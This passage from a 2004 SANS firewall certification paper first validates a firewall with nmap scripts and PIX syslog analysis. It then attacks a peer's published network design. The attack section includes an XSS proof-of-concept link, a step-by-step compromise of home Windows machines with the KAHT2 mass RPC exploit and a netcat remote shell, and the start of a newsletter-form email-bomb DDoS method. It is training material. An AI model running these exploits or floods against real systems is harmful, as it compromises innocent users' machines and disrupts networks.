as both the scan and the firewall log analysis may be automated. The majority of thecost will be in Sysadmin labor, as the Sysadmin must monitor the network constantlyduring the scans to assure that they are not interfering with normal business flow.The ISP must also be on alert during scanning in the event that the test causes anetwork disruption that interrupts normal operations and/or prevents the Sysadminfrom reconnecting to the network. Because GIAC’s partners are located world wide,there is no specific “down-time” during the day when all tasks may be performed.Therefore, the testing will be restricted to slow, methodical port scanning withconstant monitoring of operations. The most likely risk, although minimal, is that aport scan hangs an application or device. The Sysadmin and the ISP will be inconstant communication during scanning to assure continuous business operations.Each test will require approximately five hours. Analysis will require approximately

two hours per test. Assuming that each test is run independently, the cost estimate isthirty-five hours of Sysadmin labor, as well as associated fees for ISP support duringthe testing.

a“Complete” TCP and UDP scans refer to scans of all 65535 ports possibl e for each protocol.

bThe Border Router may als o be scanned during the same session if GIAC desires to validate the Border Router

policy at the same time as the Primary Firewall policy is validated.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





3.2 Conducting the Validation Testing

3.2.A Nmap Script Preparation and Execution

Prior to conducting the validation test, the first step is to prepare the shell scripts thatwill automate nmap scans. This merits a brief discussion of nmap command syntax

that will be used. The syntax to conduct a complete TCP scan of a host or a networkusing nmap is as followsa:

nmap –sT –P0 –oN output filename –p port-range address-range

In the command above, the following arguments are used:

• -sT = TCP connect scan, which sends a TCP SYN packet to test for openports

• -P0 = don’t ping the target host• -oN = specifies to log the results to a file designated by the output filename in

human-readable form• -p = specifies the range of ports to be scanned. In a complete scan, the port

range is 1-65535.

The syntax to conduct a complete UDP scan using nmap is exactly the same, withthe exception of specifying “-sU” as the scan type in place of “-sT”.

Using this command syntax, a simple shell script can be prepared to perform acomplete scan as per the parameters defined in section 3.1.A. For example, a shellscript that performs the first two scans described in section 3.1.A. is shown below:

#!/bin/bash

## Shell script to perform nmap scan of the GIAC Public Address# Space from a random Internet host## TCP scan of GIAC address space output to# inet_scan_results_giac_tcp.txtnmap –sT –P0 –oN inet_scan_results_giac_tcp.txt –p 1-65535X.X.70.32/27## UDP scan of GIAC address space output to# inet_scan_results_giac_udp.txt#

nmap –sU –P0 –oN inet_scan_results_giac_udp.txt –p 1-65535X.X.70.32/27#

aThe complete manual page that describ es all syntax options for nmap commands may be found on the web a t:

http://www.insecure.org/nmap/data/nmap_manpage.html



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





# TCP scan of border router output to# inet_scan_results_brdr_tcp.txtnmap –sT –P0 –oN inet_scan_results_brdr_tcp.txt –p 1-65535X.X.70.230#

# UDP Scan of border router output toinet_scan_results_brdr_udp.txt#nmap –sU –P0 –oN inet_scan_results_brdr_udp.txt –p 1-65535X.X.70.230

This shell script may now be executed to complete the first two scans described insection 3.1.B. The first scan will be run from a dial-up connection. The second scriptwill be run from the Sysadmin’s static IP address. The scripts may be run manuallyor scheduled with cron59.

3.2.B Preparation of PIX Syslogs for Analysis

After the nmap scans have completed, results from the nmap output will becorrelated with the PIX syslogs. However, since the validation is occurring on a livesystem, the PIX logs from the scan will be intermingled with production logs. Uponcompletion of the scans the PIX syslog entries relevant to the system scan will beextracted for analysis.

For example, consider the first scan from a dial-up account that originates from theIP address X.X.69.134 performed on the entire GIAC public address space ofX.X.70.32-X.X.70.63. The logs from this scan may now be separated from themaster syslog for the pix using a simple “grep” command to extract log entries

containing the address of the scanning host:

[sysadmin@loghost sysadmin]$grep X.X.69.134 pixlog.log>>scan1results.txt[sysadmin@loghost sysadmin]$

The file “scan1results.txt” may now be moved off of the logging server to anothermachine for analysis.

3.3 Validation Analysis

This section describes an analysis of the results of the first scan performed for

validation testing described in section 3.1.B.

3.3.A Nmap Script Results – TCP Scan

The execution of the shell script used to perform the scan provides a series of textfiles containing the results of the scan in a fairly intuitive format. The script isexecuted by the Sysadmin at a scheduled time.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The first output from the shell script is a file called “ inet_scan_results_giac_tcp.txt”,which contains the results of the TCP scan preformed against the entire addressspace of the GIAC network. The contents of the text file are shown in black, withannotations in blue.

# nmap 3.48 scan initiated Sun Feb 22 00:05:01 2004 as: nmap -

sT -P0 -oN inet_scan_results_giac_tcp.txt –p 1-65535X.X.70.32/27The first line of output repeats the executed nmap command.

All 65535 scanned ports on X.X.70.32 are: filteredThis is desired behavior. The scan shows all ports on thishost are filtered, which means that connection requests fromthe scanning host were unacknowledged.…(Similar results for X.X.70.33-X.X.70.55)…All 65535 scanned ports on X.X.70.56 are: filtered

Interesting ports on X.X.70.57:(The 65534 ports scanned but not shown below are in state:filtered)PORT STATE SERVICE443/tcp open httpsThis result shows that only the SSL port on the DevelopmentPortal responds to a TCP connection request, which is thedesired behavior.

Interesting ports on X.X.70.58:(The 65534 ports scanned but not shown below are in state:

filtered)PORT STATE SERVICE443/tcp open httpsThis result shows that only the SSL port on the ProductionPortal responds to a TCP connection request, which is thedesired behavior.

All 65535 scanned ports on X.X.70.59 are: filtered…(Similar results for X.X.70.360-X.X.70.62)…All 65535 scanned ports on X.X.70.63 are: filtered

# Nmap run completed at Sun Feb 22 04:11:52 2004 -- 32 IPaddresses (32 hosts up) scanned in 14811.810 secondsThe final line shows a summary of the results, including thetime of the scan and the number of hosts scanned.

The results of the first portion of the scan are encouraging. The nmap scan shows allTCP ports on all GIAC public addresses are filtered except for the SSL/HTTPS port



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





on the Development and Production Portals. This is the desired behavior of thefirewall, as these two openings represent the only TCP connections initiated fromrandom hosts on the Internet that are allowed into the GIAC network. The resultsalso show that all remaining ports are filtered, which means that the TCP SYNpackets went unacknowledged.

3.3.B PIX Syslog Results – TCP Scan

Now that the first nmap scan is complete, the results of the scan may be validated byanalyzing the firewall logs that were generated during the scan. The Primary Firewallshould respond to all of the TCP connection attempts by logging the actionperformed when the packet was received. Before looking at the syslog generated bythe scan, it is prudent to look at a sample PIX log entry for comparison.

An example of a log entry generated by the PIX rejecting a TCP SYN packet is asfollows:

Feb 22 00:05:32 10.64.0.1 Feb 22 2004 00:05:31: %PIX-4-106023: Deny tcp src

outside:X.X.69.134/52895 dst inside:X.X.70.32/1 by access-group "outside"

The following items are shown in the log message:

• Feb 22 00:05:32 = the timestamp from the logging server that received the logentry

• 10.64.0.1 = the source IP address that sent the log entry, which is by defaultthe inside address of the firewall

• Feb 22 2004 00:05:31 = the timestamp from the firewall for the log entry• %PIX-4-106023 = an internal message type from the PIX. Messages may be

sorted using these numerical codes.•

Deny tcp = the firewall denied a TCP packet• src outside:X.X.69.134/52895 = the source interface, ip address and port• dst inside:X.X.70.32/1 = the destination interface, ip address and port• by access-group "outside" = the name of the access-list that that caused the

action

This entry therefore shows that a TCP SYN packet sent to port 1 of the IP addressX.X.70.32 was dropped by the firewall, which results in nmap showing the port in a“filtered” state.

Compare this to the PIX log message generated when a port is open:

Feb 22 03:33:02 10.64.0.1 Feb 22 2004 03:33:01: %PIX-6-302001: Built inboundTCP connection 1 for faddr X.X.69.134/52895 gaddr X.X.70.58/443 laddr10.32.0.101/443



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





This entry shows a successful TCP connection to port 443 of the Production Portal,which is also desired behavior. The log entry for this successful connection may bebroken down as follows:

• Feb 22 03:33:02 = the timestamp from the logging server that received the logentry

• 10.64.0.1 = the source IP address that sent the log entry, which is by defaultthe inside address of the firewall

• Feb 22 2004 03:33:01 = the timestamp from the firewall for the log entry• %PIX-6-302001 = the internal message type• Built inbound TCP connection 1 for = the firewall established a TCP

connection• faddr X.X.69.134/52895 = the source “foreign” address, which is the Internet

host that requested the connection• gaddr X.X.70.58/443 = the public (global) destination IP address and port• laddr 10.32.0.101/443 = the internal (local) address and port of the destination

host

The distinctly different log entries from the PIX for successful and unsuccessfulconnection attempts allows the Sysadmin to establish that the firewall is behaving asexpected by correlating the nmap scan results with the firewall logs. For the examplenmap output shown above, the corresponding firewall log is as follows:

Feb 22 00:05:32 10.64.0.1 Feb 22 2004 00:05:31: %PIX-4-106023:Deny tcp src outside:X.X.69.134/52895 dst inside:X.X.70.34/1by access-group "outside"This entry shows the TCP connection request to port 1 on thefirst host (the firewall itself) is dropped by the firewall.Feb 22 00:09:32 10.64.0.1 Feb 22 2004 00:09:31: %PIX-4-106023:

Deny tcp src outside:X.X.69.134/53215 dst inside:X.X.70.34/1by access-group "outside"Nmap sends a series of requests to each port to establishwhether or not connections are accepted. On a separate note,nmap randomizes the hosts and port numbers when establishingconnections, which randomizes the log files as well. However,the log files can be ordered by destination IP and port numberwith a simple shell script for easier analysis.…(Similar output for all scanned hosts from X.X.70.32-X.X.70.56.)…

Feb 22 03:31:05 10.64.0.1 Feb 22 2004 03:31:06: %PIX-6-302001:Built inbound TCP connection 1 for faddr X.X.69.134/59175gaddr X.X.70.587/443 laddr 10.32.0.100/443This entry shows a successful connection to the SSL port onthe Development Portal, which is desired behavior.Feb 22 03:33:02 10.64.0.1 Feb 22 2004 03:33:01: %PIX-6-302001:Built inbound TCP connection 1 for faddr X.X.69.134/52895gaddr X.X.70.58/443 laddr 10.32.0.101/443



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





This entry shows a successful connection to the SSL port onthe Production Portal, which is desired behavior.…(The remaining port scans for all remaining hosts aredropped.)

3.3.C Nmap Script Results – UDP Scan

Validating the results from nmap with the firewall ogs is even more important whennmap is used to perform a UDP scan of the network. The UDP scan of the GIACnetwork output to the file “inet_scan_results_giac_udp.txt” shows every port open onevery host as follows:

# nmap 3.48 scan initiated Sun Feb 22 04:11:53 2004 as: nmap -sU -P0 -oN inet_scan_results_giac_tcp.txt –p 1-65535X.X.70.32/27The first line of output repeats the executed nmap command.

Interesting ports on X.X.70.32:1/udp open tcpmux2/udp open compressnet…(All 65535 ports are shown as open)…65535/udp open unknown…(The same results are provided for all hosts).…# Nmap run completed at Sun Feb 22 05:13:54 2004 -- 32 IPaddresses (32 hosts up) scanned in 3721.173 secondsThe final line shows a summary of results, including the timeof the scan and the number of hosts scanned.

The reason nmap shows every UDP port open on every host is that it assumes aport is open if it does not receive an “ip unreachable” ICMP message. The BorderRouter and the PIX are configured not to send “ip unreachable messages”, andtherefore every port appears open. However, the true results of the sc an may bedetermined by reviewing the system logs from the PIX.

3.3.D PIX Syslog Results – UDP Scan

As described above, the output from nmap with respect to the UDP scan is invalid,as it assumes that all ports are open because “icmp unreachable” messages werenot received. However, the PIX did receive all of the UDP packets, and the results ofthe UDP scan appear in the logs. An example of the log for the first UDP scan isdescribed below.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





Feb 22 04:11:53 10.64.0.1 Feb 22 2004 04:11:54: %PIX-4-106023:Deny udp src outside:X.X.69.134/52895 dst inside:X.X.70.34/1by access-group "outside"This entry shows the UDP packet to port 1 on the first host(the firewall itself) is dropped.…

(All udp packets are dropped until a udp packet is sent toport 500 of the firewall, which is open to receive ISAKMPpackets for VPN negotiation.)Feb 22 04:12:11 10.64.0.1 Feb 22 2004 04:12:12: %PIX-6-302005:Built UDP connection for faddr X.X.69.134/41170 gaddrX.X.70.34/500This entry shows a UDP connection built by the firewall forport 500, which is used by ISAKMP. Note that the public IPaddress of the PIX is not mapped to an internal address.…(The remaining UDP packets to the entire network are dropped.)

The logs generated by the PIX shows that the firewall rejected a ll UDP packetsexcept for those destined for the ISAKMP port on the firewall, which is the desiredbehavior. The desired behavior for the remaining scans described in section 3.1.Bmay be confirmed in the same manner.

3.3.E Alternate Architectures

Validation testing of the Primary Firewall successfully verified that the externalsecurity architecture works as planned, but alternate security architectures wouldalso achieve the desired result. Consideration of alternate architectures woulddepend upon the evaluation of cost versus functionality.

For example, GIAC’s architecture requires two PIX firewall devices that are relativelyexpensive. If the traffic on the Border Router is low, the Primary Firewall and/or VPNfunction could be combined with the Border Router functionality on the same device,as illustrated in Figure 3.3. The Cisco IOS may be upgraded to support VPNfunctionality, and much of the firewall functionality of the external PIX device usingthe IOS “Firewall Feature Set60.” This architecture would remove some of the costburden of two PIX devices and simplify network configuration at the expense ofsubstantially increasing the resource overhead on the router and removing aconcentric layer of security. However, it represents a viable cost-effective alternativeif it is in the best interest of GIAC.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





ASSIGNMENT 4: Design under Fire

This section describes a series of attacks against a GIAC network design previouslyposted as a GCFW practical assignment. The network design in question was

posted by Andrew Walker1

, and is available from:

http://www.giac.org/practical/GCFW/Andrew_Walker_GCFW.pdf

This practical was chosen for discussion for three reasons:

1. It was posted for the same version of the GCFW practical (v 2.0) asthis document

2. It is one of the most recently posted practical assignments3. It employs a firewall from Cyberguard61 for which there is current

controversy over the existence of a vulnerability

The network diagram from Andrew Walker’s GCFW practical submission is shown asFigure 4.1. All references to the GIAC network under “Assignment 4” of thisdocument refer to the GIAC network proposed in the practical assignment posted byAndrew Walker.

4.1 Network Reconnaissance

Prior to attacking GIAC’s network, the first step is reconnaissance. The goal ofreconnaissance is to determine as much about the network as possible to narrow thefocus of attacks to a small scope of actions that have a high probability for success.A variety of attacks on different systems will be attempted against the GIAC network.

Therefore, the reconnaissance effort should be as broad as practically possible. Theprimary reconnaissance effort will entail searching publicly available informationabout GIAC’s network, employees and business operations.

4.1.A Web Searches

The first step e is to determine as much information as possible about GIAC from itsown web site and other web sites as necessary. Web sites frequently provide usefulinformation to attackers while leaving no indication that reconnaissance is beingperformed, particularly if the reconnaissance is done through a major search enginesuch as Google63. Sites that should be searched are described below.

GIAC’s web Site.

The web site should be searched for any information that identifies any personnel atthe company, including their job titles, email addresses and phone numbers. Emailaddresses may be obtained from the web site through the use of a web scannersuch as “BlackWidow62” from Softbyte Labs. Alternatively, if the site has beenscanned by a major search engine such as Google 63, then an advanced search canbe performed from the interface provided by that search engine.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





Figure 4.1Network Diagram from

Andrew Walker GCFW Submission, Page 7http://www.giac.org/practical/GCFW/Andrew_Walker_GCFW.pdf



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





In addition to scanning the web site for personnel information, the site should also bescanned for key words that may indicate the nature of the technology used by theCompany. For example, the GIAC network uses Cisco network equipment, aCyberguard64 firewall, Dell65 servers, Oracle66 database software, etc. A search ofthe company’s web site for the names of common hardware and software providers

or applications may be useful in determining technologies used by company, as thisinformation is commonly posted in press releases, employment listings, etc.

Finally, the Company’s web site should be searched for the name of any othercompany that may be a business partner by searching for keywords such as “Inc.” or“Corporation.” This knowledge may then be used for social engineering or toobfuscate certain attacks.

Business Partner Web sites

If the search of GIAC’s web site for business or technology partners is fruitful, thebusiness partner’s web sites should be searched for “GIAC” in an effort to determine

the nature of their business relationship. Business partner sites may also containinformation about GIAC’s architecture. For example, many technology companiesrequest to post a press release on their own web site when securing a contract witha customer. This in turn informs potential attackers of the technologies that thecustomer uses.

Technology Web sites/ Usenet Groups

Companies frequently provide searchable user group archives that assist theircustomers in obtaining technical support for their products. Major search enginessuch as Google also provide search access to public newsgroups that are availableto end users for support. These sites should be searched for “GIAC” and/or the

domain name used by GIAC for email. Many people unwisely post questions orproblems to these newsgroups from their corporate email address which providespotential attackers with technical knowledge of the company’s infrastructure.

4.1.B Domain Information/ IP Address Searches

Additional information about GIAC’s network may be gleaned from a “W HOIS67”search of their company domain name. These searches frequently provide contactemail addresses, phone numbers and fax numbers of individuals that may be usedfor social engineering or additional reconnaissance. After validating the companydomain name through a WHOIS search, a query of the do main’s DNS serversshould be performed. At a minimum the IP address of the company’s mail server andweb server should be easily obtained, which provides targets for additionalreconnaissance or direct attack. Finally, sending an innocent email (such as aproduct question) should be sent from an anonymous email account, and the headerof the returned email should be evaluated for additional address i nformation. If thecompany’s mail servers are not configured correctly the email response may containinformation about internal proxy or relay services that are used, and possiblyinformation about the internal structure of the network.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





A search for the company name and all IP addresses found through the use of DNSqueries should be performed with the American Registry for Internet Numbers68 (ARIN). The ARIN database is a publicly available registry of the IP addresses usedby organizations throughout the world. Searching this database for the companyname and the IP addresses used by the company’s public servers should narrow thescope for a direct attack or additional reconnaissance.

4.1.C Direct Fingerprinting/Vulnerability Scanning

If reconnaissance described above is successful in determining the public IP addressrange used by GIAC, additional direct reconnaissance may be performed, preferablyfrom a compromised system on the Internet (see Section 4.3). For example, nmapcontains options to fingerprint the operating system of hosts by analyzing variouscharacteristics observed from scans. Other open source tools such as Nessus 69 maybe used to find vulnerabilities in public facing systems for attack.

4.2 Direct Firewall Attack

If the reconnaissance performed from section 4.1 has determined (correctly) that theprimary firewall protecting GIAC’s network is a Cyberguard Firestar 50070, a directattack against the firewall may be considered. However, research should beperformed first to find a vulnerability specific to the firewall.

4.2.A Firewall Vulnerability Research

Vulnerabilities for firewalls (or any other network device) may be researched from avariety of sources. Several examples are described below.

CERT71

Vendor information regarding vulnerabilities for hardware or software may besearched from the CERT Coordination Center web site71. According to their website(http://www.cert.org/), the CERT Coordination Center (CERT/CC) “is a center ofInternet security expertise, located at the Software Engineering Institute, a federallyfunded research and development center operated by Carnegie Mellon University. 71”Advisories on the site may be searched for critical security vulnerabilities for a widevariety of devices, operating systems and applications.

Bugtraq72

Bugtraq is a public security mailing list maintained by SecurityFocus73 that accepts

posts from the Internet regarding potential security vulnerabilities in a wide array ofdevices and applications.

CVE Index74

The Common Vulnerabilities and Exposures (CVE) index 74 is a database ofvulnerabilities for a variety of hardware and software products. The purpose of CVEis to provide a common language to search other vulnerability databases that mayrefer to vulnerabilities by different names or references . While not a vulnerability



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





database in itself, searching the CVE index for a particular application or vendorname may provide useful references to vendor or security web sites to research aparticular vulnerability.

A search of the resources described above provides an interesting thread of articlesregarding a potential vulnerability in Cyberguard firewalls. While CERT and the CVE

Index list no notable security issues, a posting to Bugtraq on December 18, 2003 75 claims the existence of a cross-site scripting (XSS76) vulnerability in the 5.1 releaseline of Cyberguard firewall appliances, which includes the firewall used by GIAC.

The Bugtraq post claims that if a browser on an internal network sends an HTTPGET request to an invalid domain name through the Cyberguard HTTP proxy, it ispossible to append an XSS script to the error message returned by the firewall.Therefore, it may be possible to trick an internal user to execute a script that willprovide the user’s authentication credentials for the firewall to a malicious person.

The Bugtraq posting was apparently also distributed on December 20, 2003 77 bySecuritytracker, which is a reporting service for hardware/software vulnerabilities.

This posting led to an interesting response by Cyberguard Corporation, which waspublished on their web site on December 20, 2003 78. The text of the response (foundat http://www.cyberguard.com/news_room/news_newsletter_security.cfm) includesthe following statement(s):

“After further investigation... CyberGuard has determined that the information in the post is indeed false. While the party failed to test and validate the above XSS hole as reported in the above post, we will shed further light on this supposed "vulnerability."

The above poster assumes that a XSS hole would provide a miscreant

to privileged user credentials by collecting password/username information from the browser information of a CyberGuard administrator desktop machine. CyberGuard uses Tarantella (a java applet) to administer a firewall via HTTPS - we DO NOT store user credentials in the browser. Consequently, there is no privileged data that can be compromised and no vulnerability whatsoever.

Security Tracker agrees with this assessment and will remove the report from its database. We are also working with other security …to make sure the CyberGuard "vulnerability" is removed…”

Cyberguard’s response to Securitytracker is curious in that it does not seem to

explicitly deny that an XSS hole exists. It states that the poster did not test the XSShole correctly, and that exploiting an XSS hole would not result in the compromise ofCyberguard firewall credentials because Cyberguard does not store user credentialsin the browser. Furthermore, on January 21, 2004 77, Securitytracker updated thestatus on the reported vulnerability to reflect that the editors changed their minds,and elected not to remove the vulnerability from their database. Finally, it seemsunusual that so much time has passed since Securitytracker refused to remove thevulnerability as reported they would by Cyberguard, and there appears to be nofurther public discussion of the issue. This may be due to the simple fact that the



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





original Bugtraq report was erroneous, and none of the parties involved feel theissue is important enough to pursue.

However, the current lack of clarity in public information regarding this potentialvulnerability is the only solid lead in the security literature for a malicious person toattack GIAC’s firewall directly. While an XSS hole may not be used to gain firewall

credentials, if it exists it still may be exploited to provide an attacker with informationabout an internal GIAC system and/or facilitate some direct or indirect damage toGIAC’s business or reputation.

4.2.B Firewall XSS Attack: Proof of Concept

The first steps towards exploiting the reported XSS hole in the GIAC firewall/proxywould be to answer the following questions:

1. If a GIAC employee on the company’s internal network sends an HTTPrequest for an invalid domain name with attached XSS code, does the XSScode execute in the employee’s browser? If the browser will not execute the

XSS code as per the reported vulnerability, then the problem does not exist.2. If the XSS code is executed in an employee browser, can evidence of the

code execution be transmitted to an external source? Even if the XSS flaw inthe proxy server exists as reported, it would be practically impossible toexploit unless some evidence that XSS code was executed is sent to theoutside.

If a “proof-of-concept” exploit generates affirmative answers to these two questionsthen a direct attack against the firewall or an indirect attack facilitated by the firewallmay be possible.

A hurdle to answer these questions is that XSS exploits require a small amount ofsocial engineering. A fundamental requirement of XSS exploitation is that a user issomehow tricked into executing an HTTP request that has malicious scriptingattached without becoming suspicious of the request. However if the inherentlyrequired social engineering is accomplished, it may be possible to determine if theGIAC firewall is subject to this vulnerability by sending an innocuous HTML emailwith an embedded link to a GIAC employee and/or by tricking the employee intovisiting a “proof of concept” web site.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





The embedded link or a link on the website would contain HTML code such as thefollowing79:

<html> <head><title> Discussion Forum for Fortune Cookie

Manufacturers</title></head><body><ahref=http://www.fcoookiesdg.com/discussion/index.htm<script>document.location.replace(‘http://www.fcookiesdg.com/discussion/index.htm’);</script>>Sign Up Here!</a></body></html>

The HTML document above is shown in plain text, but could be obfuscated usingencoding tricks80. If an XSS exploit exists, when a GIAC client sends this request forthe “misspelled” invalid name (fcoookiesdg.com) to the firewall/proxy, the browserwill execute the attached XSS code and redirect the browser to the valid domainname (fcookiesdg.com) using the security context of the proxy. If the valid page isnot linked within the web site and only available by direct request, then the webserver logs can be monitored for connections from GIAC’s public address space. Ifthe page is hit from GIAC’s network, then it is possible that the firewall/proxybehaves as described in the vulnerability report.

4.2.C Direct Firewall Attack

If the Cyberguard proxy/firewall behaves as described, the next step would be to

mount a targeted attack. The ultimate attack target is the firewall itself.

The Cyberguard response to the Bugtraq report states that their system uses HTTPSand Tarantella to manage the firewall. The fact that HTTPS is used seems irrelevant,as web applications execute script in the same manner whether or not the session isencrypted79. The next phase of research is to determine if an XSS exploit cansomehow be used to manipulate Tarantella. A search for exploitable vulnerabilities incurrent versions of Tarantella was not fruitful.

If an attacker had access to a Cyberguard Firewall, it may be possible to design XSScode to replicate the firewall login page 79. However, even if this were possible, itwould be almost impossible to exploit. The attacker would have to fool a firewall

administrator into clicking on their link in the act of attempting to open a session withthe firewall, and do so in a manner that would not arouse suspicion of the fire walladministrator. This is in essence asking a security administrator to click anuntrustworthy link to access a trusted resource, which is implausible at best.

If the XSS issue does exist, a more plausible attack might be simply to exploit theXSS hole to perform reconnaissance of GIAC’s internal network. This would be doneby adding script to request local environmental parameters on the client and sendingthem to a hostile host outside the GIAC network.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





Finally, if it is not possible to retrieve information about internal clients but it ispossible to trick the client into a redirection, then an XSS script could make aninternal user send an HTTP request that appears hostile (such as an apparentsearch for an exploitable web server) to a third party such as a customer. The hostilemessage would then trace back to the firewall/proxy. If nothing else, it might

generate ill-will or a loss of reputation on some small level. However, this is a greatdeal of work to exploit an XSS hole in the local firewall. The same attack may beperformed by directing the client to a server on the Internet that has a known XSShole.

4.2.D Attack Mitigation

If such an XSS exploit of the firewall/proxy were possible, mitigation would be trivial.The simplest mitigation is for client browsers to be configured to not execute localscripts. However, this is not always practical in business environments. Some websites work very poorly when local scripting is disabled. Therefore, in spite of the riskssome businesses may elect to keep local scripting enabled to improve the

functionality of web sites required to transact business.

The second trivial mitigation is to disable the error messages in the firewall such thatproxy error pages will not display a requested URL, which ostensibly would prohibitexecution of script embedded in the URL. This option was posted in Securitytrackeras a configuration option reported by the vendor, Cyberguard. Once again, thisseems to imply that there may be validity to the Bugtraq report. If a report that proxyerror pages returned executable script was absolutely false, why would Cyberguardnot just say that instead of mentioning that the display of requested URLs could beturned off?

The last mitigation option (again, if there actually is a flaw to mitigate) is forCyberguard to update the code for the HTTP proxy service to validate input for URLssupplied by client browsers.

4.3 Distributed Denial of Service (DDOS) Attack

This section details a Distributed Denial-of-Service (DDOS81) attack against GIAC’snetwork from fifty compromised Cable modem82 /DSL hosts.

4.3.A Slave Search

The first step in executing the DDOS attack is to locate fifty machines to compromise

(“slaves”) to execute the attack. The machines must be connected to the Internet viaa cable modem or DSL connection to provide adequate bandwidth to create anuisance for GIAC or to shut down their network completely.

The network address space of several Cable/DSL providers must first be obtainedthrough public research. The network address spaces will be scanned for home usermachines that are poorly secured. The search starts with the Google web directory,located at http://directory.google.com. From this URL, a user may select“Computers”, followed by “Internet”, followed by “Access Providers.” From this menu



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





a list of names of over fifty DSL providers and over thirty cable providers that servehome users is obtained. Armed with a list of company names, a search of ARINunder each company name provides the public address space for the majority of thecompanies found in the Google search. The target addresses for a slave search arethus obtained.

4.3.B Slave Compromise

Once network address ranges for potential targets are obtained, the next step is toscan the target areas for a weakness. In order to compromise fifty modems in arelatively short time period, a weakness must be determined that can be scanned forefficiently, and trivially exploited when found. It is also preferable if it is relativelyrecent and covers a wide range of common “household” operating systems.

A prime candidate is the Microsoft RPC DCOM series of vulnerabilities, described byMicrosoft Security Bulletins MS03-02683 and MS03-03984. The DCOM vulnerabilityhas the following attributes that make it very attractive for a slave search:

• It is relatively recent. The original security bulletin MS03 -026 was releasedJuly 29, 2003. The updated bulletin MS03-039 was released September 10,2003, making it less than five months old.

• Several versions of Microsoft Windows are affected, including Windows 2000and Windows XP.

• Several highly efficient, easily used scanners for the flaw are available. Thisincludes scanners from Microsoft85, ISS86 and eEye87.

• Once vulnerable systems are found, a simple efficient command line tool isavailable to exploit the flaw.

• An attacker has complete control over exploited machines.

The scanning tool of choice will be “xfrpcss.exe”, available from the ISS web site86

. Itis a fast, simple scanner that can be executed from a Windows command prompt.

For a sample scanned network range X.X.0.0/24, the scanner can be executed withthe following command:

C:\>xfrpcss.exe X.X.0.0-X.X.0.254

X.X.0.25 [ptch]

…X.X.0.100 [VULN]

…

(rest of addresses are described)C:\>

Addresses shown with the “[VULN]” flag are potentially vulnerable. Once a networkrange has been found with a handful or more of vulnerable systems, an entirenetwork range can be exploited using the tool KAHT2, which is available fromSecurityFocus88. KAHT2 is another simple tool that can be executed from thewindows command prompt. It can scan an entire network and exploit everyvulnerable machine in the target range.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





For example, if the xfrpcss.exe found a group of vulnerable machines in the rangeabove, KAHT2 can compromise all affected machines in the range with the followingcommand:

C:\>kaht.exe X.X.0.0-X.X.0.254 50

KAHT II - MASSIVE RPC EXPLOITDCOM RPC exploit. Modified by [email protected]#haxorcitos && #localhost @Efnet Ownz you!!!

FULL VERSION? :) - AUTOHACKING________________________________________________

[+] Targets: X.X.0.0- X.X.0.254 with 50 Threads[+] Attacking Port: 135. Remote Shell at port: 39946[+] Scan In Progress...- Connecting to X.X.0.16Sending Exploit to a [WinXP] Server.... FAILED- Connecting to X.X.0.35

Sending Exploit to a [WinXP] Server...- Conectando con la Shell Remota...…(rest of addresses are described)C:\>

Finally, if the compromise is successful the command shell can be r eceived byconnecting with Netcat89:

C:\>nc.exe X.X.0.35 39946C:\Windows\System32>

Privileged commands may now be executed on the target machine.



© S A N S I n

s t i t u

t e 2 0

0 4 , A u t h o

r r e t a i

n s f u l l r

i g h t

s .





4.3.C DDOS Email Attack

Now that the slaves have been compromised, an attack may be mounted. A widevariety of DDOS attack types are available to malicious users. However, GIAC’snetwork architecture makes the potential for an email-based attack particularlyinteresting for the following reasons:

1. The network has only a single T1 line connecting the infrastructure to theInternet. A T1 line is relatively easy to flood from fifty compromised cablemodems or DSL connections, even with semi-legitimate traffic.

2. GIAC has elected to use a single SMTP relay in a service network for bothinbound and outbound mail connections. While this economizes on hardwareand software resources, even a legitimate email bounce or auto-responsemay pass up to four messages through the external firewall, which representsa single choke point:

Markus Jakobsson and Felippo Menczer90 recently published an excellent paperdetailing a methodology to generate untraceable email cluster bombs that do not rely

on SMTP services. The basic concept is to exploit poorly written web forms tosubscribe legitimate email addresses to email newsletters via poorly secured webforms.

For example, a simple search of Google for the following string provides over600,000 hits:

+free +subscribe +"email address" -name -city -state -zip –phone

A glance at the first few hits reveals newsletter web sites that will subscribe an emailaddress to a newsletter with a simple form that requires nothing but an email

address. A few quick tests show that many of the sites on the first return page sendan instant confirmation email to the email address subscribed. Further testing showsthat some sites will generate confirmation messages repeatedly for the same emailaddress.

Jakobsson and Menczer describe methodologies to harvest thousands of theseURLs and generate simple scripts to produce email flood attacks. However, a “proof-of-concept” exploit may be executed on GIAC’s network using a combination of acommand-line HTTP client in conjunction with a simple batch script acting as arandom email address generator.

First, using the Google search above, an efficient newsletter subscription form is

located and the POST syntax to generate a subscription confirmation email isdetermined. The command line client cURL 91 is loaded onto a test machine, and thefollowing input is provided:

